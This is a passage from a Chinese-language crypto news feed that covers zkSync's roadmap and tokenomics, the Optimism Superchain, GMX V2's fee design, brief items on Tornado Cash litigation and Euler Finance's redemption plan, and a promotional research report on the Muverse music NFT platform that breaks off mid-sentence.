是实现可扩展性、开发者体验和用户体验的第一步。zkSync的EVM兼容Layer 3概念验证“Opportunity”将在2023年第一季度亮相，为以太坊带来一系列10倍增长的时刻。将提供： 最后将是：去中心化 为了支持以太坊的使命，将对zkSync 2.0协议进行去中心化，包括证明生成、区块生产和交易验证。已经在思考如何去中心化系统的各个部分，并将提供如何运行节点的明确说明。 代币经济学 截至目前，根据The block对”Matter Labs 首席执行官 Alex Gluchowski 在接受采访时说到的关于代币的问题，他是如下说的： ZkSync Era 的发布最初不会附带代币，因为网络目前在很大程度上仍然是中心化的。由于处于 alpha 阶段，Matter Labs 可以任意升级网络的代码。此外，该公司仍然控制着定序器和证明器，这是网络运行的两个核心组件。 “此时不需要令牌。一旦您想分散排序器，就需要令牌。任何事情都必须有其目的和理由。为了无需许可地参与验证者集，我们现在没有比代币更好的东西了——比如你如何让它成为无需许可的。但就目前而言，因为我们在这个音序器上，所以还没有必要，”Gluchowski 说。 他估计定序器将在一年左右的时间内去中心化。也即是代币可能将在一年左右的时间内发布。 Matter Labs 声称有超过 150 个项目已经部署或愿意部署在该链上，但目前真正可以使用的并没有那么多，在lite上有banxa、zigzag等，而目前同步了Era的有mute、mint square、spacefi、orbiter、syncswap等。 在defillama上可以看到，截止到发文，整体TVL近7日涨幅为400%，目前zksync的总锁仓量为5000万美金，而在其中Syncswap一个项目占了总锁仓量的近50%，增长速度可谓是飞快。TVL相对Arbitrum的25亿及Optimism的10亿还是有不小的差距，当然，这和项目生态和采用的技术有关，目前在arb以及op上的项目均达到100个以上，而zksync目前在Era上的应用才寥寥几个。arb还有op都采用了optimistic Rollup，而zksync和starknet均采用了zk Rollup，后者的技术难度是要高于前者的。 总结 首先，zksync不管从团队还是项目融资都是比较瞩目的，技术采用的也是zk-rollup，因为zk的技术特性，在开发难度上是更高的，但是其安全性要更高，长期来看，zk-rollup会是未来的主流。在项目生态上zksync和Arb及OP是有不小的差距的，之前的1.0是不兼容EVM，以太坊生态圈不能很好的进行迁移，目前2.0 Era上线后开始兼容EVM，这样以太坊生态应用可以更容易的迁移过去，相信后面zksync会有个不错的表现，期待着zksync后续的发展。  ( 3 min )
    Coinbase资助的六人已就美财政部制裁Tornado Cash一事提交简易判决动议
    PANews 4月6日消息，Coinbase首席法务官paulgrewal.eth 发推表示，此前Coinbase宣布资助由六人对美国财政部制裁Tornado Cash的行为提起的诉讼，现在原告提交了一份简易判决动议，要求法院重新开放Tornado Cash。其主要论点包括：Tornado Cash不是外国“国民”或“人”，而是软件；根据法律规定，政府只能制裁一个人的财产；制裁违反了第一修正案等。  ( 1 min )
    SyncSwap：空投不会查用户IP，并未与VC达成合作
    PANews 4月6日消息，SyncSwap官方中文号在推特上回应来自社区对该项目的诸多质疑表示，空投活动并不会查用户 IP，该项目从测试到主网运行的过渡时长已一年有余。此外，该项目还曾与zkSync总工程师以及Argent项目方开过会讨论，并表示该项目没有融资，ID0价格会由社区决定而不是团队，此外，还曾与VC接触，但未达成合作。 此前消息，DEX平台SyncSwap将推出代币SYNC，目前尚未创建。  ( 1 min )
    Otherside现已启动Koda NFT拆分及Vessel NFT Claim
    PANews 4月6日消息，Yuga Labs旗下元宇宙项目Otherside宣布现已启动Koda NFT拆分和Vessel Claim，只有拥有Koda的Otherdeeds才能拆分，但所有Otherdeeds持有者都可以Claim一个Vessel NFT。Claim过程最好通过桌面浏览器完成，Vessel Claim和NFT拆分均为无限期开放。此外，拆分后用户的Otherdeed NFT必须被销毁，燃烧原始Otherdeed将产生一个Koda NFT和一个没有Koda的Otherdeed Expanded NFT。每一个NFT都将存在于一个新的集合中，彼此独立。Otherdeed Expanded NFT是解锁包括《Otherside: Legends of the Mara》在内未来游戏体验和激活的关键。  ( 1 min )
    详解Optimism超级链：统一Layer2网络，打造Rollup链工厂
    作者：Messari - Stephanie Dunbar 编译：BlockTurbo 长期以来，Rollup一直是扩展以太坊的重要计划。通过在单独的链上执行交易并将压缩的结果批次发布回以太坊，与 L1 相比，交易吞吐量明显更便宜且性能更高。 通用rollup，如 Optimism Mainnet 和 Arbitrum One，使智能合约应用程序能够无需许可地部署在 L2 上。然而，简单地返回Layer1并不是扩容的万能解决方案。通用 L2 最终面临： 此外，智能合约应用程序在功能方面仅限于部署它们的rollup的一般配置。将以太坊生态系统扩展到新生用户将需要更大程度的开发人员自由度和可组合性。 为了应对这些挑战，以太坊扩展中越来越多的叙事围绕着具有共享基础设施的可组合Rollup生态系统展开。以以太坊为中心的Rollup生态系统将受益于可定制的执行环境、简化的跨链通信以及应用程序和生态系统开发人员的盈利途径。 到目前为止，至少有四个以太坊扩容项目采用了这种方法，每个项目都有自己的文化、价值累积机制和技术设计。 虽然大多数项目尚未公布其完整的实施细节，但其中包括 Arbitrum、zkSync 和 Starknet 在内的大部分项目都打算通过使用其通用 L2 作为可以部署 L3 的结算层来提取价值。 Polygon 等其他可能会强制执行 MATIC 代币质押，以使用其 zkEVM 的各个实例的共享基础设施。 另一方面，Optimism 在超级链上采取开放的方式——避免限制性商业许可、L2 结算锁定以及强制执行的代币质押和交易费用。凭借低进入门槛和丰富的公共产品计划，rollup 构建者被激励使用 Optimism 工具进行构建。所吸引的价值变成了幂律函数，每个新的rollup都会吸引新的应用程序、用户，并最终吸引费用，其中很大一部分会持续用于资助以太坊公共产品。 超级链Superchain 是使用 OP Stack 构建的以太坊对齐链的集合，OP Stack 是支撑 Optimism 生态系统的软件。这包括通用的 Optimism Mainnet L2 和任何使用开源代码构建可定制的模块化链的链。使用 OP Stack 构建并由 Optimism Collective 管理的链称为“OP 链”。它们可以是特定于应用程序的、通用的，或者他们的社区想要的任何东西。 在较高层面上，超级链将具有以下特点： 每个功能都引入了新的技术、社会和经济原语，作为超级链生态系统的一部分，如下图所示。 链工厂与治理 每个 OP Chain 都将连接到链工厂（Chain Factory），这是以太坊 L1 上的桥接智能合约。这座桥将由 Optimism Collective 管理。因此，OP Chains 将共享源自以太坊共识的安全性以及 Optimism 社区的社会决策。 该桥将包含与链相关的所有配置信息（链 ID、gas 限制等），从而解锁以下功能： OP Chain 的安全性由证明系统维护，证明系统是一个独立于rollup操作的过程，称为链推导。审查阻力得以保留，因为用户将能够使用该桥绕过恶意定序器并直接向 L1 提交交易。 超级链设想了一个互连的 OP 链网络，其中一些将共享一个排序器集。自排序、利用 Optimism Collective 的排序器或争取去中心化排序器集服务的决定将由每个 OP 链自行决定。预计第三方去中心化排序协议的市场将会出现。 自排序引入了一种新的收入模式，开发者可以从他们发布的链中获取费用和 MEV。分散的排序器将同时服务于多个rollup，并使用加密经济激励措施来让运营商负责。共享排序器可以实现原子和信任最小化的跨链rollup通信，因为节点同时在各个链上生成块。这是依赖于异步跨链消息传递的消息传递层（如 IBC）的关键互操作性改进。共享定序器的其他预期好处包括： 虽然细节尚未确定，但 Optimism 设想了一个排序模型，其中第三方价值捕获被最小化，以有利于 OP Stack 的价值产生应用程序和公共产品资金。超级链排序模型的早期模型涉及拍卖，潜在的排序者向网络支付排序权并赚取他们的费用份额和 MEV。排序者可能还需要与追溯性公共产品资助 (RPGF) 分享部分费用收入。 Op-chains 使用链推导进行操作，其中规范的 L2 链由排序器和验证器计算，他们注入 L1 块数据、L2 交易数据和来自 L1 的新存款。定序器处理事务、构建块并将压缩的块批次发布到 L1。验证者跟踪定序器，如果他们发现无效输出，则用欺诈证明来挑战他们。 在将资产提取到 L1 或桥接到其他链时，证明系统至关重要，因为它用于确保外部链和内部rollup在两个系统中就资产状态达成一致。 Superchain 最终将使用 Cannon 欺诈证明引擎来处理 L1 提款纠纷。此外，由于其模块化设计，超级链将能够同时支持多个冗余证明实施。如果 Optimism 社区需要，这包括实施有效性证明。 如前所述，OP 链可以通过链工厂同步彼此的状态。这成为不共享定序器集的 OP 链的 L2 到 L2 桥接的基础。每个 OP 链将确定他们愿意使用此共享消息传递层做出的安全保证。对于某些人来说，推导过程可能就足够了，但类似于 L1 取款，确保这种 L2 到 L2 桥的有效性将需要一个证明系统来验证每个 OP 链在传输时的状态。后者代表了基于证明的桥接和去中心化排序协议通过保护跨超链交易来多样化其产品的机会。 Superchain 的初始版本预计将在 2023 年某个时候推出。2 月，Coinbase 宣布打算在未来几周 Optimism 主网升级到 OP Stack 后推出第二个 OP 链 Base。 Coinbase 作为 OP Stack 的核心开发人员加入了 OP Labs，他们一起首先处理排序和共享消息传递层。两方打算在年底前推出 alpha 欺诈证明引擎和验证器集。 在此过程中，超级链将有各种不同的组件去中心化。即链工厂可升级性，实现去中心化排序，实现证明系统。 超级链总是需要某种形式的去中心化治理。这将首先包括一个链工厂可升级性安全委员会，但在未来，Optimism 主网可能会承担协调和管理超级链的新角色。 至于证明系统，alpha 版本将包含一组经过许可的签名者，在出现争议的情况下证明无效的状态根。他们将充当最后一道防线，在 Cannon 欺诈证明引擎可用之前验证提款声明不包含无效输出。 OP Stack 最初提供安全默认值，OP 链必须遵循这些默认值才能成为超级链的一部分。用实验模块替换标准模块的链被认为是“黑客”。然而，在未来，超级链可能包含由 Optimism 治理决定的被黑客攻击的链。这些可能包括： 虽然不是在协议级别，但另一个有趣的发展是可自动扩展的智能合约，以抵消 OP Chain 状态膨胀。在超级链中，“开始将链视为商品——可互换的计算资源成为可能。”应用程序用户可以在不破坏现有逻辑的情况下从一个 OP 链迁移到另一个。 Optimism 是首批解决可组合以太坊rollup生态系统的项目之一，最近几个月，许多 L2 竞争对手都宣布了自己的项目。虽然每个项目都有不同的设计、价值获取机制和文化，但rollup生态系统的扩散是以太坊未来应用程序开发的关键叙事和基础设施解锁。 可组合的多链生态系统现在才出现在以太坊生态系统中，但当你缩小范围时，这个想法并不新鲜。在高层次上，它们可以分为三种不同的模型： 应用链生态系统 以太坊的早期继承者，Cosmos 和 Polkadot 开始着手缓解网络拥塞，并出现可互操作的应用链，每个应用链都有自己的社区和用例。应用链是使用通用开发框架（Cosmos SDK 和 Substrate）和最小化信任的消息传递协议（IBC 和 XCM）构建的。 虽然 Polkadot 和 Cosmos 拥有共享的安全性和信任最小化的桥接，但目前两者都限制在大约 100 个可以加入其生态系统的链。此外，这两个网络都没有受益于共享排序器集支持的原子跨链可组合性。这些生态系统中的链必须运行各自网络中其他链的全节点（Polkadot）或轻节点（Cosmos），以验证传入区块的状态并处理跨链交易。这些消息传递层是异步的。意思是，在链之间发送token时至少有两个块的延迟。这种延迟使得金融交易，尤其是那些具有低延迟要求的金融交易，如闪电贷，在应用链网络中不太理想。 分形扩容是指主要关注使用 L2 结算层的 L3 上rollup的互连网络的项目。然而，这并不排除这些项目最终在 L2 上提供无需许可的rollup。这样做最终将取决于项目的许可模式。 在深入探讨此类 rollup 生态系统之前，先快速回顾一下用于构建 rollup 的主要框架： 但是，rollup框架没有严格和快速的规则。大多数rollup SDK 的最终目标是可定制的、与链无关的解决方案。 出于此分析的目的，结算到 L2 的以以太坊为中心的rollup和结算到 Celestia 上的rollup的以 Cosmos 为中心的rollup被视为相同的基本业务模型。两者都通过强制使用中间层或结算层来提取价值，以通过桥接和批量提交费用为各自的协议带来价值。 提供rollup结算层的项目充当一种服务，可以减轻开发人员插入底层共识和数据可用性层的需求。以 Cosmos 为中心的rollup结算层的价值主张包括： 另一方面，与连接到以太坊 L1 的独立 rollup 相比，以太坊上提供的新兴结算层（例如 Arbitrum Orbit、Starknet L3s 和 zkSync Hyperchain）的主要吸引力在于更便宜的 inter-rollup 桥接。这是因为目前存在的基于以太坊的rollup（不共享排序器集）必须在桥接到另一条链之前向下桥接一个层。对于终端用户来说，从 L3>L2>L3 必然比 L2>L1>L2 便宜。 Arbitrum Orbit（以及当时的 Starknet 和 zkSync Hyperchain）将通过强制稳定的建设者流入来获取价值，这些建设者支付协议以在其链上安顿下来。任何人都可以使用 Nitro 汇总 SDK 自由定制和启动汇总，只要他们依赖通用 Arbitrum 链（One 和 Nova）进行结算。这转化为从rollup开发人员到 Arbitrum 排序器（目前由 OffChain Labs 运营，但可以由 DAO 自行决定更改）获取的收入。使用 Nitro 构建的rollup也将能够在以太坊 L1 上作为自己的 L2 启动，但这需要明确的 DAO 许可。 Arbitrum 正在有效地将其代码库的使用视为一种服务，其社区可以控制他们从谁那里获取价值。 以以太坊为中心的结算层尚未确认共享排序模型以从其生态系统中获取价值。这可能涉及由各自的token保护的分散排序，或者可能被抽象到第三方协议，这是开发人员考虑增强 L3 可组合性的额外费用。 虽然 L1 结算对于建立在以太坊上的 rollups 来说当然是可能的，但 rollups 的生态系统是否这样做最终取决于项目的许可模式。到目前为止，超级链在自己的道路上，为以以太坊为中心的rollup生态系统提供 L1 结算。 Sovereign Labs 和 Polygon 似乎也在创建 L2 rollup 生态系统，但他们的实施细节因此远不明确。 超级链存在于一个具有各种新兴竞争对手和提取价值方法的市场中。超级链的不同之处在于它不是从个人用户或开发人员那里获取价值，而是从服务提供商那里获取价值，以换取参与其生态系统的权利。这笔收入将用于支持网络的公共产品。 Superchain 的选择加入排序模型很可能会涉及拍卖，其中潜在的排序者将需要支付排序权并赚取他们的费用份额。排序者可能还需要与 RPGF 分享一部分费用收入。 Rollups 将能够无需许可地部署到 L1、L2 或任何他们喜欢使用 OP Stack 的地方。通过添加到以太坊，OP Stack 受益于经过实战测试的代码以及现有的用户和开发人员基础。因此，OP Stack 既可以提高构建者的增长率，也可以拓宽他们构建的设计范围。 选择加入超级链就是选择加入链工厂的集体治理，并使用桥接 L1 并访问信任最小化的跨链消息传递。这种模式的一个潜在缺点是，桥接的升级决策掌握在更广泛的 OP 社区手中。这可能是参与治理以及因此使用 OP 代币的关键驱动因素，并且符合 Optimism 的集体运作模式。然而，不同意批准的治理决策的 OP 链将被要求离开或吞下对 rollup 生态系统的更改。并非所有开发人员都愿意牺牲对其链的这种级别的主权。 到目前为止，超级链策略是竞争激烈的rollup生态系统中最宽松的。这与 OP Stack 的可用性相结合，导致了早期的成功，因为 Optimism 的代码库是所有 L2 中分叉最多的。在推出 Superchain 之前，OP Stack 的格局已经在扩大。随着无代码平台 Conduit 的发展以启动和管理 OP 链，它可能会增长得更多。 开发的简易性与选择加入的共享排序模型相结合意味着进入门槛低，协议开发人员在超级链中建立业务的自由度高。此外，RPGF 的成果有望增强已经免费的工具包，以激励未来的优化。 Optimism 社区正在踏上建立超级链的多年旅程，超级链是一个以以太坊为中心的互连rollup生态系统。超级链的价值主张是以太坊的可持续扩张，与共同的基础设施和基于社区的决策结合在一起。超级链旨在为选择加入的开发人员提供最大价值，而不是寻找提取价值的方法。借助来自测序收入的 RPGF，这应该会导致可组合的新应用程序和业务模型的激增。对于最终用户来说，这看起来像是一个经济高效的计算平台，适用于金融用例和其他类似应用程序。在概率世界中，可能性范围越大越好，超级链也许将提供广阔的机会和潜力。 -END-  ( 4 min )
    千呼万唤始出来，全方位解读GMX V2
    原文：《千呼万唤始出来，全方位解读 GMX V2》 GMX 团队近期发布了 V2 有关提案，预示着备受期待的 GMX 合成资产版本终于到了上线前夕，本文将为你带来全方位的 GMX V2 解读，一窥此衍生品赛道龙头的未来。 交易市场 GMX V2 中，每个交易对都有对应的LP。比如 ETH/USD 交易，LP 也由 ETH/USDs 组成。其中多头抵押品为 ETH，空头抵押品为稳定币，指数代币为 ETH。 这种情况下仍然保留了全额抵押带来的安全性优势，又使得每个交易对的 LP 只需要承担这个交易对的风险，有利于上线更多资产，以及打开了将来允许无需许可的上币的可能性，毕竟不再像 GLP 一样上个新币需要考虑对整个池子的影响。 此外所谓合成资产，就是也可以交易链上没有的资产。比如 SOL/USD 市场，LP 为 ETH/USD, 多头抵押品为 ETH，空头抵押品为稳定币，指数代币为 SOL 。就是说由 ETH 来支撑 SOL 的做多交易。 很显然，SOL /USD 的安全性无法达到 ETH/USD 那种全额保障的效果，但是考虑到 SOL/ETH 的相关性，相较纯 USD 作为 LP ，风险也会小很多。此外 GMX 也称会控制 OI 上限少于抵押资产来降低风险。 除开基本的交易手续费外。GMX V2 有 Funding Fee，Borrow Fee, Price Impact 三重费用。这些费用有助于平衡LP和OI的多空，避免容量被低效占用以及降低价格操纵风险，总体来说就是让 GMX LP 风险更小以及让交易量更大。 Funding Fee主要目的是平衡多空。具体公式为：(X) * (多空OI之差) ^ (Y) / (多空OI之和)。X 和 Y 均为可设置的参数，多头 OI> 空头 OI 则多头向空头支付资金费，反之亦然 Borrow Fee的主要目的是减小交易容量的低效占用。因为 GMX 的交易容量是受池规模的影响的，是一种有限资源。在 V2 中，borrow fee 也由 OI 对池容量的比率来决定。 Borrowing fees are calculated as borrowing factor * (open interest in usd + pending pnl) ^ (borrowing exponent factor) / (pool usd) for longs and borrowing factor * (open interest in usd) ^ (borrowing exponent factor) / (pool usd) for shorts. Price Impact则有三重功效 那么如何达成，简单来说就是对于LP的存取，如果你的存入会造成池子更不平衡，你就需要出钱，更平衡你则可以获取一笔收益。对于开关仓位，则是考虑对多空平衡的影响。 (initial USD difference) ^ (price impact exponent) * (price impact factor / 2) - (next USD difference) ^ (price impact exponent) * (price impact factor / 2) 由于有了更科学的 Price Impact 来制衡，在 V2 参数设置提案中大幅降低了现货兑换费率， 非稳定币对基础兑换费率仅为0.05%，稳定币甚至低至 0.01%。这将会使得 GMX 有机会在现货交易上获取更大的份额。 此外在交易体验上，V2 还优化了了限价单和止损单的机制，并支持了现货限价单。 GNS 也有的 Funding Fee, Rollover Fee, Spread(Price Impact) 三重费用，除开 Funding Fee 较为一致外，其他两个费用有着较大差异。比如 GNS 的 Price Impact 使用 CEX 的深度数据和交易头寸来决定，以及 Rollover Fee 仅作用于抵押品而非 GMX Borrow Fee 一般作用于整体头寸。具体可参见下方推文。 此外 GNS 采用单一gDAI 作为LP，GMX 则依然使用指数资产模式并使用独立流动性，GNS 在资本效率以及上线资产方面仍具有更多灵活性，而 GMX 则在风险控制上更进一步。 独立流动池相比GLP，可以更好的隔离风险，因为合成资产上线后GMX可以覆盖较多的长尾资产（小币种）。但是这些资产带来的风险较大，此前 Avax 交易就遭遇过相关攻击，所以做风险隔离是很有必要的，避免意外发生时GMX整体被拖下水。此外目前 GLP 各币种的占比是由团队/DAO来中心化决定的，独立流动性池推出后实际上是交由市场来决定，这样效率无疑更高，还可以期待下无许可上币。 对于新加入的 Funding Fee， Price Impact 这些，则对交易量有所帮助。GMX 目前其实更接近一个杠杆交易平台，费率是单向的，永续合约的市场明显是更大的，非常有利于 GMX 吸引更多用户。而 Price Impact 则可以帮助多空比的平衡和降低价格操控风险，有助于提升交易容量。相比此前只有一个 Borrow Fee 来要好很多 合成资产模式，可以支持链上没有的资产加入，比如上面举例的 SOL/USD。但是考虑依然需要有多头抵押品的存在，并且该抵押品还需要与资产有一定关联关系方才合格。那么这块其实也没有预期快速把 GNS 上能上的那些股票、外汇啥的都上了。虽然理论上是可以的，大不了多头抵押品也用 U。 简单一句话就是，GMX V2 让 GMX 的风险更小、交易容量更大、可以支持更多资产交易。  ( 3 min )
    Cosmos Hub推出资助计划，以改进原生代币ATOM
    PANews 4月6日消息，Cosmos Hub宣布推出资助计划，用于开展关于改进Cosmos原生ATOM代币研究项目。ATOM加速器将资助三种不同的“ATOM愿景”，并分别拨款3万美元。该研究应涉及代币经济学、路线图以及任何设想的流动性、治理或管理服务，这些服务可以为ATOM增值，以增强Hub在生态系统中的作用和ATOM的价值。捐赠申请已于4月4日开放，并将于5月4日关闭，5月15日公布资助对象。一旦获奖者获得奖励，将有45天的时间在论坛上发布研究。此后会根据提案的融合程度和社区反馈进行社区投票。  ( 1 min )
    Alchemy已开放自定义Webhooks服务，允许NFT铸造等用例
    PANews 4月6日消息，加密支付服务商Alchemy宣布已开放自定义Webhooks服务，允许实时交易、DeFi清算、NFT铸造与批准等用例，可为开发者提供一系列开发支持服务。 此前消息，加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资。  ( 1 min )
    荷兰加密货币交易所Finst完成440万美元种子轮融资，Deribit母公司Sentillia领投
    PANews 4月6日消息，据CoinDesk报道，荷兰加密货币交易所Finst宣布完成400万欧元（440 万美元）种子轮融资，加密货币衍生品平台Deribit母公司Sentillia领投。据悉，融资将用于扩大Finst的产品范围，以推动其国际扩张计划。  ( 1 min )
    MetaMask钱包iOS端新增支持ConsenSys zkEVM网络Linea
    PANews 4月6日消息，MetaMask钱包iOS端推出6.3.0版本更新，新增功能包括支持ConsenSys zkEVM网络Linea、改善法币入金设施、改善SDK体验等方面。  ( 1 min )
    Euler Finance公布用户赎回方案
    PANews 4月6日消息，DeFi借贷协议Euler Finance公布用户赎回方案，其中追回的资金总计约95556枚ETH（95,556.36059211764枚ETH）和4306万枚DAI（43,063,729.35枚DAI），未回收的资金包括攻击者发送给Tornado Cash的共计1100枚ETH和发送到Ronin攻击者的100枚ETH，另外100枚ETH被攻击者直接返还给用户，用户又将12枚ETH返还给Euler DAO金库。DAO金库地址还持有来自Sherlock协议保险支出的约400万（3,396,964）枚USDC和100万（1,007,321）枚DAI。  对于每个子账户，Euler Finance计划在协议被禁用的区块高度偿还所有负债，此时智能合约中定义的链上预言机价格（Uniswap或Chainlink，取决于市场）用于确定资产和负债的ETH价值，并且账户的每个资产（包括非抵押品）按比例用于偿还负债。所有账户资产净值将被相加以获得总资产净值，每个账户将能够根据其在总资产净值中的比例领取追回的 ETH、DAI 和 USDC。如果追回金额的价值超过总资产净值，则超出部分将按比例分配给用户。 此前消息，Euler Labs已追回攻击者盗取的全部资金。  ( 1 min )
    项目研报丨音乐 NFT 交易平台和多合一应用Muverse
    一、背景 1.WEB2 音乐行业 WEB2 音乐行业是指传统的音乐行业，包括唱片销售、音乐电视台、广播电台等。过去的十年里 WEB2 音乐行业在全球范围内呈现出了快速增长的趋势。著名的音乐流媒体平台 Spotify、AppleMusic、Tidal 等的崛起，极大地改变了人们获取音乐的方式。这些平台通过向用户提供高质量的音乐服务，赢得了大量的用户和市场份额。据 a 统计，全球音乐市场每年规模达到了 2000 亿美元以上，其中音乐流媒体占据市场份额超过 50%，是音乐市场中的领头羊然而，WEB2 音乐行业存在一些问题。首先，音乐人的收益不高，因为唱片公司和版权中介机构占据了大部分利润。其次，音乐版权保护问题一直存在。传统的版权保护方式容易被侵犯，导致音乐人的利益受损。 2.WEB3 音乐行业 WEB3 音乐行业的发展始于区块链技术的兴起。区块链技术的去中心化和透明性特点，为音乐行业的版权保护、音乐分发、音乐创作等方面提供了新的解决方案。WEB3 音乐行业利用区块链技术，使音乐人和用户之间的交互更加直接、透明、安全。由于区块链技术的不可篡改性，音乐版权问题得到了更好的解决。 在 WEB3 音乐赛道中，一些项目已经取得了初步的成果。例如 Audius、Musicoin 等区块链音乐平台通过去中心化的音乐分发，极大地降低了音乐人和用户之间的中间环节，提高了音乐人的收益。 Muverse 是一个社区驱动的音乐 NFT 交易平台和多合一应用，允许世界各地的音乐艺术家、投资者和粉丝参与无摩擦的 NFT 交易，可为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏以及一个为用户提供充足流动性的 NFT 交易所。 通过将音乐与游戏，社交，加密经济结合，GameFi+SocialFi 的模式，使全世界的艺术家与音乐爱好者们都可以参与到 Muverse 提供的多种互动场景之中，致力于通过标准化的规则设定与流程，增强艺术家与粉丝社区的连接，让社区来发现并推动艺术家的发展，促使艺术家与粉丝共同成长，并享受 web3.0 带来的丰厚回报。 官网：https://muverse.info Twitter：https://twitter.com/MuverseNFT 三、项目分析 目前 APP2.2 版本刚刚正式上线，项目仍然处于早期阶段。首个音乐互动场景，一款类似之前节奏大师的节拍游戏已经上线，下载 APP 就可以直接体验每天 2 点能量值，体验 2 次游戏，真正参与游戏需持有耳机 NFT。之前测试阶段，该 NFT 通过空投获得，通过市场活动、社区合作以及质押优质项目 NFT 等方式获得创世耳机空投，关于质押 NFT：指定 NFT 价格 +100% 兑换价格，3 个月后原路返还，9,999 创世耳机限空投，目前创世耳机已经完全空投发放完毕，其他获取耳机 NFT 参与方法只有通过游戏内置市场购买耳机 NFT。而且目前质押的白名单 NFT 已经全部并且提前退回，是一个不错的开始。 社交媒体情况：项目推特粉丝 10.1K+，Discord 社区成员 2K+，目前玩家主要集中在海外以及港台地区，大陆玩家相对较少，但是有注意到有慢慢在和国内团队合作的消息，如果后面打开大陆市场，发展空间将会巨大，值得期待后面大陆地区的发展。 另外，据悉在去年 10 月 31 日，Muverse 在 1.5 小时内完成了平台上首位艺术家 - 韩国歌星李洪基的音乐 NFT 作品销售，销售总额达 120ETH（约合 200000 美金）；同年由 Akon 认可的美国歌手 lamar casey，在 Muverse 的支持下于 11 月 28 日完成了其第一首 NFT 音乐作品《Winnin》的销售，仅用 1 个小时，销售完成，销售额 20ETH。由此可见 Muverse 平台拥有较为丰富的资源以及强大的营销、组织能力。 近期媒体消息中看到也增加了平台新 PFP 设计：互动音乐平台 Muverse 宣布，其将与香港金像奖最佳艺术指导奖得主 Yoshihito Akatsuka 合作推出其全新 NFT 头像。新头像的设计符合 Muverse 全新的市场定位与未来发展规划，是 Muverse 平台发展过程中的重要一步。Muverse 将在其官方 Twitter，@MuverseNFT 陆续公布新头像设计、置换方案及开放交易等相关信息。 日本美术大师 Yoshihito Akatsuka 赤塚佳仁为全球前 20 大制景师，曾为杀死比尔、巴别塔、赛德克巴莱、金陵十三钗、西游伏妖篇等多部国际知名电影担任制片 / 美术指导。 这里看来不管从规划还是设计师上都算是很大投入的配置，这里也可以值得期待一下。 项目活动频繁，社区参与程度较高，与玩家互动频繁，主要海外社区参与程度更高，热度较高。项目近期主要活动是每双周 Town Hall，在 2 月 22 日 CMO Adrian & 亚洲负责人 Jina 将更新 Muverse 最新进展，另外在3 月 2 号的 ETHDenver 2023，Muverse 的 CMO Adrian 也进行了发表演讲。同时在 4 月 HongKong Web3 Festival2023 大会期间，举办一场高端定向邀请闭门会议，嘉宾阵容强大，同时也联合举办 AfterParty 等活动，项目宣传在有条不紊的进行，对后面发展有积极作用。 并且，平台通过了慢雾的代币合约审计，安全性较高。 四、路线图 目前 APP 安卓版已经上线 Google play，同时 IOS 支持 Test Flight，目前来看路线图完成程度较高，一切在按步就班的进行。 五、合作伙伴 合作伙伴包括知名机构及 NFT 项目，如：FNC Entertainment / Invest HK / Syndicate Capital / Zonff Partner / AvatarDAO / Lumière / Slow Mist / 1783DAO / KaratDAO / WeirdoGhostGang / DuduLabs / C.C.C.C / DavaoDefi 等，同时也在不断增加和探索不同方向的合作方，值得注意的是目前更多的是与国内团队合作，这对于打开国内市场很有必要，值得关注。 根据媒体报导，Muverse 已经完成 600 万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd 和 BN Blue Fox Limited 等参投，所筹资金将用于扩大平台的功能和服务，加速用户获取并提升用户体验。Muverse 正在开发其第二阶段的产品，其中将包括音乐 NFT 交易所、NFT 碎片化功能和用于其 F-NFT / MCT 交易的 AMM 池。 团队 :Muverse 团队分布在洛杉矶、纽约、首尔、新加坡、北京、越南、菲律宾等地区，构成比较国际化，Muverse CEO Kent Huang 曾作为 The H Collective 制片人，拥有 15 年好莱坞工作经验。北美及亚洲市场负责人 Adrian 与 Jennie 都具有多年加密行业运营经验。 据媒体报导，好莱坞制片人 Mark Rau 加入 Muverse 担任 COO，Mark Rau 作为好莱坞电影公司 The H Collective Europe 的 CEO 曾参与电影《致命弯道 7》、《魔童》、《战狼 2》、《希特勒回来了》等的制片与发行工作，并于 2021 年短暂加入 Social-Fi NFT 游戏开发公司 Element.black。 其他资源 :Muverse 已邀请前 AMPAS( 奧斯卡组织者 ) 主席、前 Lucasfim、Marval 和 Paramount 副总裁 Sidney Ganis 作为顾问，在北美协助推广 Muverse。与韩国的 FNC 娱乐公司也有合作。 平台参与方式有用户、艺术家、收藏家三种参与方式，Muverse 为平台内的不同用户设计了不同的收益场景。 其中，用户可以在平台体验Muverse 的首个音乐互动场景的节拍游戏，通过玩游戏方式获取 MCT 代币奖励。游戏分为单人模式与多人对战模式两种，随着产品的迭代更新，更多功能（如得分榜、音符增强模式）将会推出。进行游戏获取 MCT 需要有耳机 NFT，若没有耳机 NFT，可以在中心化或者去中心化交易所上购买 ETH 并将它们转移到您的 Muverse 钱包，随后将 ETH 转移到应用内钱包以在市场上购买耳机 NFT。（注意：请始终在您的钱包账户中保留一些 ETH 作为 gas。）准备完毕后可以体验游戏，进入赚收益首页，选择耳机 NFT，开始与音乐互动赚取 MCT，同时近期也推出了听歌赚收益，可以选择在某些场景下通过听歌来赚取收益。 艺术家可以产生创作&收益。注册成为平台艺术家后，Muverse 将为艺术家与他们的忠实粉丝建立 web3.0 音乐社区，增强艺术家与粉丝社区的互动，使粉丝可以直接发现并投资好的音乐家与音乐作品。还可以发起音乐派对，音乐派对是由艺术家与其忠实粉丝共同发起的壹场针对艺术家音乐 NFT 作品发行、销售的壹场视听盛宴。通过发起音乐派对，艺术家不仅可以完成音乐作品 NFT 的销售，还可以扩大其用户基础与社区影响力。艺术家通过为自己的音乐创造价值并在每次销售音乐时赚取收益。 收藏家的收益方式是：遵循 Muverse 的人才发现机制，即有机会在早期发现有潜力的艺术家，投资他们，与艺术家一同成长，收益。艺术家的人才发现是 Muverse 要实现的一个重要目标，为此 Muverse 将为艺术家的人才发现与成长设置良好的机制，帮助艺术家扩大其粉丝规模与平台内外的影响力。在 Muverse 平台上与音乐的互动达到一定程度后，将获得收藏家的身份。拥有收藏家身份的用户可以加入音乐派对，可以在派对中购买或出售最喜欢的艺术家的 NFT。歌曲售罄时才会公布获奖者，获奖者的实时 NFT 版税将远高于普通 NFT 持有者。当艺术家的音乐 NFT 被应用于 Muverse 内的互动场景时，将产生实时版税收益。收益将根据收藏家持有音乐 NFT 的数量分配给收藏家。 2.游戏模式 分为无耳机模式，耳机模式。无耳机模式下，用户无需拥有耳机 NFT 